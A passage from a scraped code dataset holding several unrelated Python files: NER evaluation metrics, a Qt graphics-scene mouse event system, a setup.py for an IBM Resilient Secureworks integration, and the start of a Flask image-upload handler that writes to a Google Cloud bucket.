in enumerate(sentence):\n if label == \"O\":\n if not pre_label == \"O\":\n label_end_id = i - 1\n # print(\"entity label: \", sent_id, label_start_id, label_end_id, type)\n sent_true_entities.append(\"_\".join([str(i) for i in [sent_id, label_start_id, label_end_id]] + [type_]))\n else:\n if \"B-\" in label:\n label = label.split(\"-\")[-1]\n if not pre_label == \"O\":\n label_end_id = i - 1\n sent_true_entities.append(\"_\".join([str(i) for i in [sent_id, label_start_id, label_end_id]] + [type_]))\n label_start_id = i\n type_ = label\n else:\n continue\n pre_label = label\n if not pre_label == \"O\":\n label_end_id = len(sentence) - 1\n # print(\"entity label: \", sent_id, label_start_id, label_end_id, type)\n sent_true_entities.append(\"_\".join([str(i) for i in [sent_id, label_start_id, label_end_id]] + [type_]))\n\n pre_pred = 1\n for i, (word, label, pred) in enumerate(sentence):\n if pred == 1:\n if not pre_pred == 1:\n pred_end_id = i - 1\n # print(\"entity pred: \", sent_id, pred_start_id, pred_end_id, flag)\n sent_pred_entities.append(\"_\".join([str(i) for i in [sent_id, pred_start_id, pred_end_id, flag]]))\n else:\n if not pre_pred == pred:\n if not pre_pred == 1:\n pred_end_id = i - 1\n sent_pred_entities.append(\"_\".join([str(i) for i in [sent_id, pred_start_id, pred_end_id, flag]]))\n pred_start_id = i\n flag = pred\n else:\n continue\n pre_pred = pred\n\n if not pre_pred == 1:\n pred_end_id = len(sentence) - 1\n # print(\"entity pred: \", sent_id, pred_start_id, pred_end_id, flag)\n sent_pred_entities.append(\"_\".join([str(i) for i in [sent_id, pred_start_id, pred_end_id, flag]]))\n\n sent_id += 1\n true_entities.append(sent_true_entities)\n pred_entities.append(sent_pred_entities)\n return true_entities, pred_entities\n\n\ndef compute_token_f1(labels, preds):\n # recall = tp/(tp + fn)\n # precision = tp/(tp + fp)\n tp = 0\n tn = 0\n fp = 0\n fn = 0\n\n assert len(labels) == len(preds)\n for i in range(len(labels)):\n if (labels[i].startswith(\"B\") or labels[i].startswith(\"I\")) and preds[i] == 1:\n tp += 1\n elif (labels[i].startswith(\"B\") or labels[i].startswith(\"I\")) and preds[i] == 0:\n fn += 1\n elif labels[i].startswith(\"O\") and preds[i] == 0:\n tn += 1\n elif labels[i].startswith(\"O\") and preds[i] == 1:\n fp += 1\n if tp == 0:\n recall = 0\n precision = 0\n else:\n recall = float(tp) / (float(tp) + float(fn))\n precision = float(tp) / (float(tp) + float(fp))\n if recall == 0 or precision == 0:\n f1 = 0\n else:\n f1 = (2 * precision * recall) / (precision + recall)\n return precision, recall, f1\n\n\ndef compute_precision_recall_f1(true_entities, pred_entities, flag, pflag):\n tp = 0\n np_ = 0\n pp = 0\n for i in range(len(true_entities)):\n sent_true = true_entities[i]\n sent_pred = pred_entities[i]\n for e in sent_true:\n if flag in e:\n np_ += 1\n temp = e.replace(flag, str(pflag))\n if temp in sent_pred:\n tp += 1\n for e in sent_pred:\n if int(e.split(\"_\")[-1]) == pflag:\n pp += 1\n if pp == 0:\n p = 0\n else:\n p = float(tp) / float(pp)\n if np_ == 0:\n r = 0\n else:\n r = float(tp) / float(np_)\n if p == 0 or r == 0:\n f1 = 0\n else:\n f1 = float(2 * p * r) / float((p + r))\n return p, r, f1\n\n\ndef compute_overall_precision_recall_f1(true_entities, pred_entities, tag2Idx):\n tp = 0\n np_ = len(sum(true_entities, []))\n pp = len(sum(pred_entities, []))\n temp = ' '\n\n assert len(true_entities) == len(pred_entities)\n for i in range(len(true_entities)):\n sent_true = true_entities[i]\n sent_pred = pred_entities[i]\n for e in sent_true:\n for flag in tag2Idx:\n if flag in e:\n temp = e.replace(flag, str(tag2Idx[flag]))\n if temp in sent_pred:\n tp += 1\n if pp == 0:\n p = 0\n else:\n p = float(tp) / float(pp)\n if np_ == 0:\n r = 0\n else:\n r = float(tp) / float(np_)\n if p == 0 or r == 0:\n f1 = 0\n else:\n f1 = float(2 * p * r) / float((p + r))\n return p, r, f1\n","repo_name":"kangISU/Conf-MPU-BERT-DS-NER","sub_path":"metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":6799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"30418344733","text":"from enum import Enum\nimport time\nimport weakref\n\nfrom .backend.QtCore import pyqtSignal, QLineF, QRect, Qt\nfrom .backend.QtWidgets import QGraphicsScene, QGraphicsSceneMouseEvent\n\n\nclass MouseEventState(Enum):\n OFF = 0\n ON = 1\n ENTER = 2\n EXIT = 3\n\n\nclass MouseDragEvent:\n \"\"\"Mouse event delivered by :class:`GraphicsScene` when a item is dragged.\n \"\"\"\n def __init__(self, move_ev, press_ev, last_ev,\n state: MouseEventState = MouseEventState.ON):\n self._state = state\n self.accepted = False\n self.current_item = None\n self._button_down_scene_pos = {}\n self._button_down_screen_pos = {}\n for btn in [Qt.MouseButton.LeftButton,\n Qt.MouseButton.MiddleButton,\n Qt.MouseButton.RightButton]:\n self._button_down_scene_pos[btn] = move_ev.buttonDownScenePos(btn)\n self._button_down_screen_pos[btn] = move_ev.buttonDownScreenPos(btn)\n self._scene_pos = move_ev.scenePos()\n self._screen_pos = move_ev.screenPos()\n if last_ev is None:\n self._last_scene_pos = press_ev.scenePos()\n self._last_screen_pos = press_ev.screenPos()\n else:\n self._last_scene_pos = last_ev.scenePos()\n self._last_screen_pos = last_ev.screenPos()\n self._buttons = move_ev.buttons()\n self._button = press_ev.button()\n self._modifiers = move_ev.modifiers()\n self.accepted_item = None\n\n def accept(self):\n \"\"\"An item should call this method if it can handle the event.\n\n This will prevent the event being delivered to any other items.\"\"\"\n self.accepted = True\n self.accepted_item = self.current_item\n\n def ignore(self):\n \"\"\"An item should call this method if it cannot handle the event.\n\n This will allow the event to be delivered to other items.\"\"\"\n self.accepted = False\n\n def isAccepted(self):\n return self.accepted\n\n def scenePos(self):\n \"\"\"Return the current scene position of the mouse.\"\"\"\n return self._scene_pos\n\n def screenPos(self):\n \"\"\"Return the current screen position (pixels relative to widget) of the mouse.\"\"\"\n return self._screen_pos\n\n def buttonDownScenePos(self, btn=None):\n \"\"\"\n Return the scene position of the mouse at the time *btn* was pressed.\n If *btn* is omitted, then the button that initiated the drag is assumed.\n \"\"\"\n if btn is None:\n btn = self.button()\n return self._button_down_scene_pos[btn]\n\n def buttonDownScreenPos(self, btn=None):\n \"\"\"\n Return the screen position (pixels relative to widget) of the mouse at the time *btn* was pressed.\n If *btn* is omitted, then the button that initiated the drag is assumed.\n \"\"\"\n if btn is None:\n btn = self.button()\n return self._button_down_screen_pos[btn]\n\n def lastScenePos(self):\n \"\"\"\n Return the scene position of the mouse immediately prior to this event.\n \"\"\"\n return self._last_scene_pos\n\n def lastScreenPos(self):\n \"\"\"\n Return the screen position of the mouse immediately prior to this event.\n \"\"\"\n return self._last_screen_pos\n\n def buttons(self):\n \"\"\"\n Return the buttons currently pressed on the mouse.\n (see QGraphicsSceneMouseEvent::buttons in the Qt documentation)\n \"\"\"\n return self._buttons\n\n def button(self):\n \"\"\"Return the button that initiated the drag (may be different from the buttons currently pressed)\n (see QGraphicsSceneMouseEvent::button in the Qt documentation)\n\n \"\"\"\n return self._button\n\n def pos(self):\n \"\"\"\n Return the current position of the mouse in the coordinate system of the item\n that the event was delivered to.\n \"\"\"\n return self.current_item.mapFromScene(self._scene_pos)\n\n def lastPos(self):\n \"\"\"\n Return the previous position of the mouse in the coordinate system of the item\n that the event was delivered to.\n \"\"\"\n return self.current_item.mapFromScene(self._last_scene_pos)\n\n def buttonDownPos(self, btn=None):\n \"\"\"\n Return the position of the mouse at the time the drag was initiated\n in the coordinate system of the item that the event was delivered to.\n \"\"\"\n if btn is None:\n btn = self.button()\n return self.current_item.mapFromScene(self._button_down_scene_pos[btn])\n\n def entering(self):\n \"\"\"Whether this event is the first one since a drag was initiated.\"\"\"\n return self._state == MouseEventState.ENTER\n\n def exiting(self):\n \"\"\"Whether this event is the last one since a drag was initiated.\"\"\"\n return self._state == MouseEventState.EXIT\n\n def __repr__(self):\n if self.current_item is None:\n lp = self._last_scene_pos\n p = self._scene_pos\n else:\n lp = self.lastPos()\n p = self.pos()\n return \"(%g,%g) buttons=%d entering=%s existing=%s>\" % (\n lp.x(), lp.y(), p.x(), p.y(), int(self.buttons()), str(self.entering()), str(self.exiting()))\n\n def modifiers(self):\n \"\"\"Return any keyboard modifiers currently pressed.\n (see QGraphicsSceneMouseEvent::modifiers in the Qt documentation)\n\n \"\"\"\n return self._modifiers\n\n\nclass MouseClickEvent:\n \"\"\"\n Instances of this class are delivered to items in a :class:`GraphicsScene `\n via their mouseClickEvent() method when the item is clicked.\n \"\"\"\n\n def __init__(self, pressEvent, double=False):\n self.accepted = False\n self.current_item = None\n self._double = double\n self._scene_pos = pressEvent.scenePos()\n self._screen_pos = pressEvent.screenPos()\n self._button = pressEvent.button()\n self._buttons = pressEvent.buttons()\n self._modifiers = pressEvent.modifiers()\n self._time = time.time()\n self.accepted_item = None\n\n def accept(self):\n \"\"\"An item should call this method if it can handle the event.\n\n This will prevent the event being delivered to any other items.\"\"\"\n self.accepted = True\n self.accepted_item = self.current_item\n\n def ignore(self):\n \"\"\"An item should call this method if it cannot handle the event.\n\n This will allow the event to be delivered to other items.\"\"\"\n self.accepted = False\n\n def isAccepted(self):\n return self.accepted\n\n def scenePos(self):\n \"\"\"Return the current scene position of the mouse.\"\"\"\n return self._scene_pos\n\n def screenPos(self):\n \"\"\"Return the current screen position (pixels relative to widget) of the mouse.\"\"\"\n return self._screen_pos\n\n def buttons(self):\n \"\"\"\n Return the buttons currently pressed on the mouse.\n (see QGraphicsSceneMouseEvent::buttons in the Qt documentation)\n \"\"\"\n return self._buttons\n\n def button(self):\n \"\"\"Return the mouse button that generated the click event.\n (see QGraphicsSceneMouseEvent::button in the Qt documentation)\n \"\"\"\n return self._button\n\n def double(self):\n \"\"\"Return True if this is a double-click.\"\"\"\n return self._double\n\n def pos(self):\n \"\"\"\n Return the current position of the mouse in the coordinate system of the item\n that the event was delivered to.\n \"\"\"\n return self.current_item.mapFromScene(self._scene_pos)\n\n def lastPos(self):\n \"\"\"\n Return the previous position of the mouse in the coordinate system of the item\n that the event was delivered to.\n \"\"\"\n return self.current_item.mapFromScene(self._last_scene_pos)\n\n def modifiers(self):\n \"\"\"Return any keyboard modifiers currently pressed.\n (see QGraphicsSceneMouseEvent::modifiers in the Qt documentation)\n \"\"\"\n return self._modifiers\n\n def __repr__(self):\n try:\n if self.current_item is None:\n p = self._scene_pos\n else:\n p = self.pos()\n return \"\" % (p.x(), p.y(), int(self.button()))\n except:\n return \"\" % (int(self.button()))\n\n def time(self):\n return self._time\n\n\nclass HoverEvent:\n \"\"\"\n Instances of this class are delivered to items in a :class:`GraphicsScene ` via their hoverEvent() method when the mouse is hovering over the item.\n This event class both informs items that the mouse cursor is nearby and allows items to\n communicate with one another about whether each item will accept *potential* mouse events.\n\n It is common for multiple overlapping items to receive hover events and respond by changing\n their appearance. This can be misleading to the user since, in general, only one item will\n respond to mouse events. To avoid this, items make calls to event.acceptClicks(button)\n and/or acceptDrags(button).\n\n Each item may make multiple calls to acceptClicks/Drags, each time for a different button.\n If the method returns True, then the item is guaranteed to be\n the recipient of the claimed event IF the user presses the specified mouse button before\n moving. If claimEvent returns False, then this item is guaranteed NOT to get the specified\n event (because another has already claimed it) and the item should change its appearance\n accordingly.\n\n event.isEnter() returns True if the mouse has just entered the item's shape;\n event.isExit() returns True if the mouse has just left.\n \"\"\"\n\n def __init__(self, ev: QGraphicsSceneMouseEvent, state: MouseEventState):\n self._state = state\n self.enter = False\n self.exit = False\n self.__click_items = weakref.WeakValueDictionary()\n self.__drag_items = weakref.WeakValueDictionary()\n self.current_item = None\n if ev is not None:\n self._scene_pos = ev.scenePos()\n self._screen_pos = ev.screenPos()\n self._last_scene_pos = ev.lastScenePos()\n self._last_screen_pos = ev.lastScreenPos()\n self._buttons = ev.buttons()\n self._modifiers = ev.modifiers()\n else:\n self.exit = True\n\n def isEnter(self):\n \"\"\"Returns True if the mouse has just entered the item's shape\"\"\"\n return self.enter\n\n def isExit(self):\n \"\"\"Returns True if the mouse has just exited the item's shape\"\"\"\n return self.exit\n\n def acceptClicks(self, button: Qt.MouseButton):\n \"\"\"Inform the scene that the item (that the event was delivered to)\n would accept a mouse click event if the user were to click before\n moving the mouse again.\n\n Returns True if the request is successful, otherwise returns False (indicating\n that some other item would receive an incoming click).\n \"\"\"\n if self._state == MouseEventState.EXIT:\n return False\n\n if button not in self.__click_items:\n self.__click_items[button] = self.current_item\n return True\n return False\n\n def acceptDrags(self, button: Qt.MouseButton):\n \"\"\"Inform the scene that the item (that the event was delivered to)\n would accept a mouse drag event if the user were to drag before\n the next hover event.\n\n Returns True if the request is successful, otherwise returns False (indicating\n that some other item would receive an incoming drag event).\n \"\"\"\n if self._state == MouseEventState.EXIT:\n return False\n\n if button not in self.__drag_items:\n self.__drag_items[button] = self.current_item\n return True\n return False\n\n def scenePos(self):\n \"\"\"Return the current scene position of the mouse.\"\"\"\n return self._scene_pos\n\n def screenPos(self):\n \"\"\"Return the current screen position of the mouse.\"\"\"\n return self._screen_pos\n\n def lastScenePos(self):\n \"\"\"Return the previous scene position of the mouse.\"\"\"\n return self._last_scene_pos\n\n def lastScreenPos(self):\n \"\"\"Return the previous screen position of the mouse.\"\"\"\n return self._last_screen_pos\n\n def buttons(self):\n \"\"\"\n Return the buttons currently pressed on the mouse.\n (see QGraphicsSceneMouseEvent::buttons in the Qt documentation)\n \"\"\"\n return self._buttons\n\n def pos(self):\n \"\"\"\n Return the current position of the mouse in the coordinate system of the item\n that the event was delivered to.\n \"\"\"\n return self.current_item.mapFromScene(self._scene_pos)\n\n def lastPos(self):\n \"\"\"\n Return the previous position of the mouse in the coordinate system of the item\n that the event was delivered to.\n \"\"\"\n return self.current_item.mapFromScene(self._last_scene_pos)\n\n def __repr__(self):\n if self.exit:\n return \"\"\n\n if self.current_item is None:\n lp = self._last_scene_pos\n p = self._scene_pos\n else:\n lp = self.lastPos()\n p = self.pos()\n return \"(%g,%g) buttons=%d enter=%s exit=%s>\" % (\n lp.x(), lp.y(), p.x(), p.y(), int(self.buttons()), str(self.isEnter()), str(self.isExit()))\n\n def modifiers(self):\n \"\"\"Return any keyboard modifiers currently pressed.\n (see QGraphicsSceneMouseEvent::modifiers in the Qt documentation)\n \"\"\"\n return self._modifiers\n\n def clickItems(self):\n return self.__click_items\n\n def dragItems(self):\n return self.__drag_items\n\n\nclass GraphicsScene(QGraphicsScene):\n \"\"\"Extension of QGraphicsScene that implements a complete, parallel mouse event system.\n\n (It would have been preferred to just alter the way QGraphicsScene creates and delivers \n events, but this turned out to be impossible because the constructor for QGraphicsMouseEvent\n is private)\n \n * Generates MouseClicked events in addition to the usual press/move/release events. \n (This works around a problem where it is impossible to have one item respond to a \n drag if another is watching for a click.)\n * Adjustable radius around click that will catch objects so you don't have to click *exactly* over small/thin objects\n * Global context menu--if an item implements a context menu, then its parent(s) may also add items to the menu.\n * Allows items to decide _before_ a mouse click which item will be the recipient of mouse events.\n This lets us indicate unambiguously to the user which item they are about to click/drag on\n * Eats mouseMove events that occur too soon after a mouse press.\n * Reimplements items() and itemAt() to circumvent PyQt bug\n \n Mouse interaction is as follows:\n \n 1) Every time the mouse moves, the scene delivers both the standard hoverEnter/Move/LeaveEvents \n as well as custom HoverEvents. \n 2) Items are sent HoverEvents in Z-order and each item may optionally call event.acceptClicks(button), \n acceptDrags(button) or both. If this method call returns True, this informs the item that _if_ \n the user clicks/drags the specified mouse button, the item is guaranteed to be the \n recipient of click/drag events (the item may wish to change its appearance to indicate this).\n If the call to acceptClicks/Drags returns False, then the item is guaranteed to *not* receive\n the requested event (because another item has already accepted it). \n 3) If the mouse is clicked, a mousePressEvent is generated as usual. If any items accept this press event, then\n No click/drag events will be generated and mouse interaction proceeds as defined by Qt. This allows\n items to function properly if they are expecting the usual press/move/release sequence of events.\n (It is recommended that items do NOT accept press events, and instead use click/drag events)\n Note: The default implementation of QGraphicsItem.mousePressEvent will *accept* the event if the \n item is has its Selectable or Movable flags enabled. You may need to override this behavior.\n 4) If no item accepts the mousePressEvent, then the scene will begin delivering mouseDrag and/or mouseClick events.\n If the mouse is moved a sufficient distance (or moved slowly enough) before the button is released, \n then a mouseDragEvent is generated.\n If no drag events are generated before the button is released, then a mouseClickEvent is generated. \n 5) Click/drag events are delivered to the item that called acceptClicks/acceptDrags on the HoverEvent\n in step 1. If no such items exist, then the scene attempts to deliver the events to items near the event. \n ClickEvents may be delivered in this way even if no\n item originally claimed it could accept the click. DragEvents may only be delivered this way if it is the initial\n move in a drag.\n \"\"\"\n # Emitted a list of objects under the cursor when the mouse is\n # moved over the scene.\n mouse_hover_sgn = pyqtSignal(object)\n # Emitted when the mouse cursor moves over the scene. The position\n # is given in the scene coordinate system.\n mouse_moved_sgn = pyqtSignal(object)\n # Emitted when the mouse is clicked over the scene. Use ev.pos() to\n # get the click position relative to the item that was clicked on,\n # or ev.scenePos() to get the click position in scene coordinates.\n mouse_clicked_sgn = pyqtSignal(object)\n\n def __init__(self, parent=None):\n super().__init__(parent=parent)\n self._click_radius = 2\n self._move_distance = 5\n\n self.click_events = []\n self.drag_buttons = []\n self.drag_item = None\n self.last_drag = None\n self.hover_items = weakref.WeakKeyDictionary()\n self.last_hover_event = None\n self.min_drag_time = 0.5 # drags shorter than 0.5 sec are interpreted as clicks\n\n def mousePressEvent(self, ev: QGraphicsSceneMouseEvent) -> None:\n \"\"\"Override.\"\"\"\n super().mousePressEvent(ev)\n\n if self.mouseGrabberItem() is None: # nobody claimed press; we are free to generate drag/click events\n if self.last_hover_event is not None:\n # If the mouse has moved since the last hover event, send a new one.\n # This can happen if a context menu is open while the mouse is moving.\n if ev.scenePos() != self.last_hover_event.scenePos():\n self.sendHoverEvents(ev)\n \n self.click_events.append(MouseClickEvent(ev))\n \n # set focus on the topmost focusable item under this click\n items = self.items(ev.scenePos())\n for i in items:\n if i.isEnabled() and i.isVisible() and (i.flags() & i.GraphicsItemFlag.ItemIsFocusable):\n i.setFocus(Qt.FocusReason.MouseFocusReason)\n break\n \n def mouseMoveEvent(self, ev: QGraphicsSceneMouseEvent) -> None:\n \"\"\"Override.\"\"\"\n self.mouse_moved_sgn.emit(ev.scenePos())\n\n # First allow QGraphicsScene to deliver hoverEnter/Move/ExitEvents\n super().mouseMoveEvent(ev)\n \n # Next deliver our own HoverEvents\n self.sendHoverEvents(ev)\n \n if ev.buttons(): # button is pressed; send mouseMoveEvents and mouseDragEvents\n # FIXME: duplicated?\n super().mouseMoveEvent(ev)\n if self.mouseGrabberItem() is None:\n now = time.time()\n init = False\n # keep track of which buttons are involved in dragging\n for btn in [Qt.MouseButton.LeftButton,\n Qt.MouseButton.MiddleButton,\n Qt.MouseButton.RightButton]:\n if not (ev.buttons() & btn):\n continue\n if btn not in self.drag_buttons: # see if we've dragged far enough yet\n cev = [e for e in self.click_events if e.button() == btn]\n if cev:\n cev = cev[0]\n dist = QLineF(ev.scenePos(), cev.scenePos()).length()\n if dist == 0 or (dist < self._move_distance and now - cev.time() < self.min_drag_time):\n continue\n # If this is the first button to be dragged, then init=True\n init = init or (len(self.drag_buttons) == 0)\n self.drag_buttons.append(btn)\n\n # If we have dragged buttons, deliver a drag event\n if len(self.drag_buttons) > 0:\n if self.sendDragEvent(\n ev, MouseEventState.ENTER if init\n else MouseEventState.ON):\n ev.accept()\n\n def mouseReleaseEvent(self, ev: QGraphicsSceneMouseEvent) -> None:\n \"\"\"Override.\"\"\"\n if self.mouseGrabberItem() is None:\n if ev.button() in self.drag_buttons:\n if self.sendDragEvent(ev, MouseEventState.EXIT):\n ev.accept()\n self.drag_buttons.remove(ev.button())\n else:\n cev = [e for e in self.click_events if e.button() == ev.button()]\n if cev:\n if self.sendClickEvent(cev[0]):\n ev.accept()\n self.click_events.remove(cev[0])\n\n if not ev.buttons():\n self.drag_item = None\n self.drag_buttons = []\n self.click_events = []\n self.last_drag = None\n\n super().mouseReleaseEvent(ev)\n \n self.sendHoverEvents(ev) # let items prepare for next click/drag\n\n def mouseDoubleClickEvent(self, ev: QGraphicsSceneMouseEvent):\n \"\"\"Override.\"\"\"\n super().mouseDoubleClickEvent(ev)\n\n if self.mouseGrabberItem() is None: # nobody claimed press; we are free to generate drag/click events\n self.click_events.append(MouseClickEvent(ev, double=True))\n \n def sendHoverEvents(self, ev: QGraphicsSceneMouseEvent,\n state: MouseEventState = MouseEventState.ON):\n \"\"\"Send out HoverEvent.\n\n :param ev:\n :param state:\n \"\"\"\n if state == MouseEventState.EXIT:\n items = []\n event = HoverEvent(ev, False)\n else:\n # if we are in mid-drag, do not allow items to accept the hover event.\n event = HoverEvent(ev, not ev.buttons())\n items = self.itemsNearEvent(event, hoverable=True)\n self.mouse_hover_sgn.emit(items)\n \n prev_items = list(self.hover_items.keys())\n \n for item in items:\n if hasattr(item, 'hoverEvent'):\n event.current_item = item\n if item not in self.hover_items:\n self.hover_items[item] = None\n event.enter = True\n else:\n prev_items.remove(item)\n event.enter = False\n \n item.hoverEvent(event)\n \n event.enter = False\n event.exit = True\n for item in prev_items:\n event.current_item = item\n\n if item.scene() is self:\n item.hoverEvent(event)\n del self.hover_items[item]\n \n # Update last hover event unless:\n # - mouse is dragging (move+buttons); in this case we want the dragged\n # item to continue receiving events until the drag is over\n # - event is not a mouse event (QEvent.Leave sometimes appears here)\n if (ev.type() == ev.Type.GraphicsSceneMousePress or\n (ev.type() == ev.Type.GraphicsSceneMouseMove and not ev.buttons())):\n self.last_hover_event = event # save this so we can ask about accepted events later.\n\n def sendDragEvent(self,\n ev: QGraphicsSceneMouseEvent,\n state: MouseEventState):\n \"\"\"Send out a MouseDragEvent.\n\n to the current drag_item or to items near the beginning of the drag.\n\n :param ev:\n :param state:\n \"\"\"\n event = MouseDragEvent(ev, self.click_events[0], self.last_drag, state=state)\n if state == MouseEventState.ENTER and self.drag_item is None:\n if self.last_hover_event is not None:\n accepted_item = self.last_hover_event.dragItems().get(event.button(), None)\n else:\n accepted_item = None\n \n if accepted_item is not None and accepted_item.scene() is self:\n self.drag_item = accepted_item\n event.current_item = self.drag_item\n self.drag_item.mouseDragEvent(event)\n \n else:\n for item in self.itemsNearEvent(event):\n if not item.isVisible() or not item.isEnabled():\n continue\n if hasattr(item, 'mouseDragEvent'):\n event.current_item = item\n item.mouseDragEvent(event)\n if event.isAccepted():\n self.drag_item = item\n if item.flags() & item.GraphicsItemFlag.ItemIsFocusable:\n item.setFocus(Qt.FocusReason.MouseFocusReason)\n break\n elif self.drag_item is not None:\n event.current_item = self.drag_item\n self.drag_item.mouseDragEvent(event)\n\n self.last_drag = event\n \n return event.isAccepted()\n\n def sendClickEvent(self, ev: QGraphicsSceneMouseEvent):\n # if we are in mid-drag, click events may only go to the dragged item.\n if self.drag_item is not None and hasattr(self.drag_item, 'MouseDragEvent'):\n ev.current_item = self.drag_item\n self.drag_item.mouseClickEvent(ev)\n \n # otherwise, search near the cursor\n else:\n if self.last_hover_event is not None:\n accepted_item = self.last_hover_event.clickItems().get(ev.button(), None)\n else:\n accepted_item = None\n if accepted_item is not None:\n ev.current_item = accepted_item\n accepted_item.mouseClickEvent(ev)\n else:\n for item in self.itemsNearEvent(ev):\n if not item.isVisible() or not item.isEnabled():\n continue\n if hasattr(item, 'mouseClickEvent'):\n ev.current_item = item\n item.mouseClickEvent(ev)\n\n if ev.isAccepted():\n if item.flags() & item.GraphicsItemFlag.ItemIsFocusable:\n item.setFocus(Qt.FocusReason.MouseFocusReason)\n break\n self.mouse_clicked_sgn.emit(ev)\n return ev.isAccepted()\n \n def items(self, *args):\n return QGraphicsScene.items(self, *args)\n\n def selectedItems(self, *args):\n return QGraphicsScene.selectedItems(self, *args)\n\n def itemAt(self, *args):\n return super().itemAt(*args)\n\n def itemsNearEvent(self,\n event,\n selMode=Qt.ItemSelectionMode.IntersectsItemShape,\n sortOrder=Qt.SortOrder.DescendingOrder,\n hoverable=False):\n \"\"\"\n Return an iterator that iterates first through the items that directly intersect point (in Z order)\n followed by any other items that are within the scene's click radius.\n \"\"\"\n view = self.views()[0]\n tr = view.viewportTransform()\n r = self._click_radius\n rect = view.mapToScene(QRect(0, 0, 2*r, 2*r)).boundingRect()\n \n if hasattr(event, 'buttonDownScenePos'):\n point = event.buttonDownScenePos()\n else:\n point = event.scenePos()\n\n items = self.items(point, selMode, sortOrder, tr)\n \n # remove items whose shape does not contain point (scene.items() apparently sucks at this)\n items2 = []\n for item in items:\n if hoverable and not hasattr(item, 'hoverEvent'):\n continue\n if item.scene() is not self:\n continue\n shape = item.shape() # Note: default shape() returns boundingRect()\n if shape is None:\n continue\n if shape.contains(item.mapFromScene(point)):\n items2.append(item)\n \n # Sort by descending Z-order (don't trust scene.itms() to do this either)\n # use 'absolute' z value, which is the sum of all item/parent ZValues\n def absZValue(item):\n if item is None:\n return 0\n return item.zValue() + absZValue(item.parentItem())\n \n items2.sort(key=absZValue, reverse=True)\n \n return items2\n","repo_name":"zhujun98/foamgraph","sub_path":"foamgraph/graphics_scene.py","file_name":"graphics_scene.py","file_ext":"py","file_size_in_byte":29443,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"6888734420","text":"from setuptools import setup, find_packages\nimport glob\nimport ntpath\n\ndef get_module_name(module_path):\n \"\"\"\n Return the module name of the module path\n \"\"\"\n return ntpath.split(module_path)[1].split(\".\")[0]\n\ndef snake_to_camel(word):\n \"\"\"\n Convert a word from snake_case to CamelCase\n \"\"\"\n return ''.join(x.capitalize() or '_' for x in word.split('_'))\n\nsetup(\n name='fn_secureworks_ctp',\n version='1.0.0',\n license='MIT',\n author_email='',\n url='https://ibm.com/mysupport',\n description=\"Resilient Circuits Components for 'fn_secureworks_ctp'\",\n long_description=\"Resilient Circuits Components for 'fn_secureworks_ctp'\",\n install_requires=[\n 'resilient_circuits>=30.0.0',\n 'resilient-lib>=35.0.0'\n ],\n packages=find_packages(),\n include_package_data=True,\n platforms='any',\n classifiers=[\n 'Programming Language :: Python',\n ],\n entry_points={\n \"resilient.circuits.components\": [\n \"fn_secureworks_ctpFunctionComponent = fn_secureworks_ctp.components.scwx_ctp_poll:SecureworksCTPPollComponent\",\n \"funct_secureworks_ctp_close_ticketFunctionComponent = fn_secureworks_ctp.components.funct_secureworks_ctp_close_ticket:FunctionComponent\"\n ],\n \"resilient.circuits.configsection\": [\"gen_config = fn_secureworks_ctp.util.config:config_section_data\"],\n \"resilient.circuits.customize\": [\"customize = fn_secureworks_ctp.util.customize:customization_data\"],\n \"resilient.circuits.selftest\": [\"selftest = fn_secureworks_ctp.util.selftest:selftest_function\"]\n }\n)\n","repo_name":"ibmresilient/resilient-community-apps","sub_path":"fn_secureworks_ctp/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"82"} +{"seq_id":"16633474707","text":"# Authentication\nimport time\nimport os\nimport random\n\nimport connexion\nimport six\nimport toolz as T\nfrom werkzeug.exceptions import (BadRequest,\n InternalServerError)\n\nfrom google.cloud import storage\n\nfrom flask import request\n\nfrom salsa.db import db\nfrom salsa.permission import get_user, get_user_id_from_user\n\nNUM_FILES_ERROR_MSG = 'Upload up to 5 images in a request'\nBUCKET_CONNECTION_ERROR_MSG = 'Error in connecting to bucket'\nBUCKET_UPLOAD_ERROR_MSG = 'Error in uploading image to bucket'\nIMAGE_TOO_LARGE_ERROR_MSG = 'Images can have a maximum size of 5 MB'\nFILE_SAVE_ERROR_MSG = 'Error in saving the file'\nFILE_SIZE_CHECK_ERROR_MSG = 'Error in checking size of the file'\nFILE_REMOVAL_ERROR_MSG = 'Error in removing file from temp location'\n\nLOCAL_IMAGE_STORE_PATH = 'salsa/image_store/'\nBUCKET_URL_PREFIX = 'https://storage.googleapis.com/chinese_goods/image_store'\n#5MB\nMAX_FILE_SIZE = 5000000\n\n\ndef _current_timestamp() -> int:\n return int(time.time())\n\ndef upload(**kwargs):\n \"\"\"\n Upload images to google bucket, and return the urls\n\n file_name = user_name + timestamp + file_index\n \"\"\"\n user_id = get_user_id_from_user(get_user(kwargs))\n\n # Validate number of files in the request\n uploaded_files = request.files.getlist(\"file\")\n\n if len(uploaded_files) == 0 or len(uploaded_files) > 5:\n raise BadRequest(description=NUM_FILES_ERROR_MSG)\n\n # Try to connect to the bucket\n try:\n storage_client = storage.Client.from_service_account_json(\n os.environ.get('STORAGE_BUCKET_CREDENTIAL_PATH'))\n\n bucket = storage_client.get_bucket('chinese_goods')\n except Exception as error:\n raise InternalServerError(\n description=f'{BUCKET_CONNECTION_ERROR_MSG}: {error}')\n\n # Try to upload the images to the bucket\n file_urls = []\n for idx, file in enumerate(uploaded_files):\n # Save file to disk\n try:\n file_path = f'{user_id}_{_current_timestamp()}_{idx}.png'\n local_file_path = LOCAL_IMAGE_STORE_PATH + file_path\n file.save(local_file_path, buffer_size=65536)\n except Exception as error:\n raise InternalServerError(\n description=f'{FILE_SAVE_ERROR_MSG}: {error}')\n\n # Check the size of the files\n try:\n file_length = os.stat(local_file_path).st_size\n if file_length > MAX_FILE_SIZE:\n raise BadRequest(description=IMAGE_TOO_LARGE_ERROR_MSG)\n file.close()\n except BadRequest as error:\n raise error\n except Exception as error:\n raise InternalServerError(\n description=f'{FILE_SIZE_CHECK_ERROR_MSG}: {error}')\n\n # Upload the file to bucket and get URL\n try:\n image_loc = bucket.blob(f'image_store/{file_path}')\n image_loc.upload_from_filename(filename=local_file_path)\n file_urls.append(f'{BUCKET_URL_PREFIX}/{file_path}')\n except Exception as error:\n raise InternalServerError(\n 